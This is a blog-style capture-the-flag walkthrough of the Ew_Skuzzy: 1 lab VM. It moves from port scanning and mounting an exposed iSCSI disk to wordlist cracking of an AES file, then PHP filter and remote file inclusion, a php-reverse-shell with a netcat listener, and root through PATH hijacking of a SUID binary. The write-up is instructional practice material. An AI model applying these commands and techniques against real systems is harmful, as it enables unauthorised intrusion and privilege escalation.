Today I am sharing my work log for the “Ew_Skuzzy: 1” CTF game. This game was released only recently, on the 17th of March 2017. As of time of writing, there haven’t been much information released about it. That adds another dimension to solving it and suits me fine.

As always I have based my work on Parrot instead of Kali Linux. These distribution appears more or less the same and you should have very little to no problems tagging along using either.

Enough chit chatter, lets dive in!

Word of advice

At the very start I ran into a wall. The target VM refused to pick up any IP addresses. After some fiddling in Virtualbox, I found out I had to change the network interface adapter:

EW - Network adapter
Changing network adapter

After a quick reboot the virtual machine did what’s expected. Curiously, the VM prints the assigned IP address at the login prompt:

EW - Assigned IP
Showing assigned IP

Finding Host and uncover services

Since I already knew the target address, I just moved on discovering services right away:

sudo nmap -p1-65535 -A -T4 -sS

Only a few exposed services were found:

Port Service Product Hostname
22 ssh OpenSSH
80 http nginx
3260 iscsi

The game


Web services are a common starting point on most CTF’s, so I started investigating on port 80 using Firefox:

EW - Landingpage
Landing page

Looked at the HTML source for clues, but found nothing. What’s interesting here was the text itself. It specifically advocated to use dirbuster! I went on using dirb instead:

dirb http:/ / -o dirb_index.txt

This took some time to complete. In the end I ended up with these paths for further investigation:





Looking at each of these uncovered paths I found the last one interesting. I found the first flag hidden in the HTML source, or so I thought:

EW - HTML Flag encoded
First flag

The text is Base64 encoded, decoded it reads:

Hello, is it flags you’re looking for?
I can see it in your eyes
I can see it in your smile
Flags are all I’ve ever wanted and my ports are open wide
Cause you know just what to say and you know just what to do
And I want to tell you so much, no flags for you…

So .. I got trolled. But all hope wasn’t lost. There was also a hint in the text about ports being wide open. It was time to look at the ports more closely!


There are three ports/services open. SSH didn’t print a welcome text, so that was a bust. That iSCSCI service sure appeared interesting! iSCSI is an acronym for Internet Small Computer Systems Interface, an Internet Protocol (IP)-based storage networking standard for linking data storage facilities. It is a protocol that allows clients to send SCSI commands to storage devices on remote servers. What on earth does it do here?


In order to toy with this protocol I needed an appropriate tool. Luckily, both Kali and Parrot Linux got tools in their repositories for such! Installing the open_iscsci package:

$ sudo apt install open-iscsi

With that package installed it was time to do some exploring! First I used a tool called iscsiadm, you can read up on it here!

$ iscsiadm -m discovery -t st -p

This command spat out

Value,1 iqn.2017-02.local.skuzzy:storage.sys0

This breaks down to:

  • The IP address and port of the target
  • Target name (iqn.2017-02.local.skuzzy) and volume name (storage.sys0)

With this in mind I tried to log in to access that volume:

$ sudo iscsiadm -m node -T iqn.2017-02.local.skuzzy:storage.sys0 -l -p

This worked, just as the screenshot below shows:

Accessing volume

By running fdisk I found a new 1Gb device listed on my Parrot instance:

$ sudo /sbin/fdisk -l
EW - Fdisk new device
New disk!

Next, moved on mounting device locally (from current directory):

$ sudo mkdir iscscidisk
$ sudo mount /dev/sdb iscscidisk
$ cd iscscidisk
$ ls

The ls command yielded:

Item Type
bobsdisk.dsk Linux disk, ext2 file system
flag1.txt Text file
lost+found Folder

Note: Got the file system information on bobsdisk.dsk by using the file command on it.

The first flag was in the flag1.txt file:

Congratulations! You’ve discovered the first flag!
Let’s see how you go with the next one…

Next candidate up for investigation was bobsdisk.dsk


I already know from running file utility on it that this was an Ext2 based disk image. I moved on mounting that one too! I did so in a neighboring directory were I mounted the iSCSI disk:

$ mkdir bobsdisk
$ sudo mount iscscidisk/bobsdisk.dsk bobsdisk -t ext2
$ cd bobsdisk
$ ls

The ls command yielded:

Item Type
ToAlice.eml Message to Alice, plain text
ToAlice.csv.enc Encrypted file
lost+found Folder

Looking through this folder I saw that the only file human readable was ToAllice.eml. It contained the second flag:


This file also contained several interesting hints:

  • Bob is going to use symmetric keys from now on
  • The sentence “Anyway, he said it won some big important competition among crypto geeks in October 2000” heavily hints at the Rijndael (AES) encryption
  • The paragraph “You know what happened to me this morning? My kids, the little darlings, had spilled their fancy 256 bit Lego kit all over the damn floor. Sigh. Of course I trod on it making my coffee, the level of pain really does ROCKYOU to the core when it happens! It’s hard to stay mad though, I really love Lego, the way those blocks chain togeather really does make them work brilliantly.” Hints heavily on 256 bits CBC and that we have to use the ROCKYOU word list.
  • This paragraph speaks for itself: “PS: Oh, before I forget, the hacker-kid who told me how to use this new algorithm, said it was very important I used the command option -md sha256 when decrypting. Why? Who knows? He said something about living on the bleeding-edge…”

In order to crack this I whipped up a makeshift Ruby script automating things, the basis of my script was this command:

$ openssl aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out decrypted.txt -k

The Ruby script takes two arguments:

What Value
Arg 1 Path to ROCKYOU wordlist
Arg 2 Path to encrypted file

The script, which was inefficient and slow, looked like this:

wordlist = ARGV[0]
encfile = ARGV[1]

lastentry = nil
counter = 1
File.readlines(wordlist).each do | line |
        line = line.strip()
        if line.length > 0
            decryptedfile = "cracked/%s-decrypted.txt" % [counter]
            command = "openssl aes-256-cbc -d -md sha256 -in %s -out %s -k \"%s\"" % [encfile, decryptedfile, line ]
            cmdres = system(command, :out => :close)
            puts("Current: #{counter} => #{line}")

            if cmdres == true
      ,'a').write("\n\nPassword: #{line}\n").close()

    counter += 1

The wordlist is quite large and it took some time to complete the cracking process. This left me with a bunch of files, but a quick grep for the word hack revealed the unencrypted file. By looking at the integer in the filename I could look up the password in the ROCKYOU list:

$ vim rockyou.txt +theIntegerHere

The password was: supercalifragilisticoespialidoso and the message read:

Web Path,Reason
5560a1468022758dba5e92ac8f2353c0,Black hoodie. Definitely a hacker site!
c2444910794e037ebd8aaf257178c90b,Nice clean well prepped site. Nothing of interest here.
flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I’ve seen? What is it?

The third flag: flag3{2cce194f49c6e423967b7f72316f48c5caf46e84}

Back to web

The above text hinted at some web paths. By just using the hash as paths I found that c2444910794e037ebd8aaf257178c90b lead to a more or less decent web page. Navigating around I soon enough landed on this page:

EW - Feed Reader
Feed Reader

I also saw this awkward looking URL:

/c2444910794e037ebd8aaf257178c90b/?p=reader&url=http:/ /

This URL could be divided in two parts:

  • Server part: /c2444910794e037ebd8aaf257178c90b/?p=reader&url=
  • External part: http:/ /

By external part I mean it refers to and read content from elsewhere. Both parts utilized hashes – there was a small change the latter part being accessible from the outside too! I rewrote the URL and opened it in Firefox:


And I got this page:

EW - Obscure text file
data.txt source

By the looks of it, this file appeared to be a PHP script, or was interpreted as one. There were some interesting hints in this file:

  • ##php## appears to both open and close PHP
  • PHP code seems to get interpreted as is, due to the call to print() function
  • There’s a secret key involved

Understanding the key

A vital clue to progress was to figure out how the target load the data.txt file and how the key work. For that I headed back to FeedReader web page.

A closer inspection of the main web page yielded that navigation was handled through the GET parameter page. More so, I also saw that the feed was handled by the reader page, so the restrictions were almost certainly handled through that one. Injecting a PHP filter in the page parameter seemed feasible:

http:/ /

The filter worked and it outputted the following Base64 encoded text (snippet):

EW - Reader base64
reader.php in Base64

Text successfully decoded to PHP source (sample):

EW - PHP source code
Key source

From looking at the source I saw there was some restrictions set on the key I was looking after:

  • Key only required from source loaded externally
  • Key has to have a length of 47 characters
  • Reader detects well known trick using arrays
  • sha256 hashing of key

Cracking this key didn’t seem feasible. I thought maybe the key was stored somewhere on the web page itself? I Applied some variations of the PHP filter from earlier:

http:/ /

The flag were right under my nose all along! Fourth flag found in the source of flag.php:

EW - fourth flag
Fourth flag

The comment hinted heavily on that I had to use the flag to progress further. Keeping that in mind and counting the characters I also saw that the length of the flag was 47 characters. Surely, I thought, this must be the key? Then I thought it was time to get shell?

Getting shell

I used my trusty Shelly shell, the one I’ve used for several CTF games. Note, this is done from Parrot, your paths may vary. Also, all commands were issued from current directory on the attacker machine:

What Command
Shell $ cp /usr/share/webshells/php/php-reverse-shell.php shelly.php
PHP server php -S
Listener $ nc -lvp 44444

Then I replaced PHP opening and closing to ##php## and inserted my IP and listening port. Loaded the shell by visiting:

http:/ /{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}&url=

And by this I got shell.

EW - Shell

Just after getting shell I hurried improving my access by running:

python -c ‘import pty;pty.spawn(“/bin/bash”)’

At this moment I was a bit perplexed what to do, so I retorted to finding if there’s anything that runs as root:

cd /
find / -perm -4000 -user root 2> /dev/null

After a brief moment or two, I found a suspicious tool in /opt/alicebackup. Running it I saw it outputted:

EW - Running alicebackup
Running alicebackup

This tools outputted some interesting information:

  • uid, gid, groups (root)
  • ssh command without absolute path

I’ve dealt with tools running commands without absolute paths before – so I started manipulating PATH:

cd /tmp
echo “python -c ‘import pty;pty.spawn(\”/bin/sh\”)'” >> /tmp/ssh
export PATH=/tmp:$PATH
chmod a+x /tmp/ssh
cd /

Here I tried to take advantage of the _alicebackup command not using absolute pats, hoping it would pick up my version of ___ssh___. It didn’t. Perhaps luckier taking over the ___id___ command instead? Renamed my ___ssh___ script to ___id___:

mv /tmp/ssh /tmp/id

This time around it worked:

EW - Final flag
Final flag

And done. Nice game! If you enjoyed this walk-through, please share and contact me on Twitter (@reedphish)!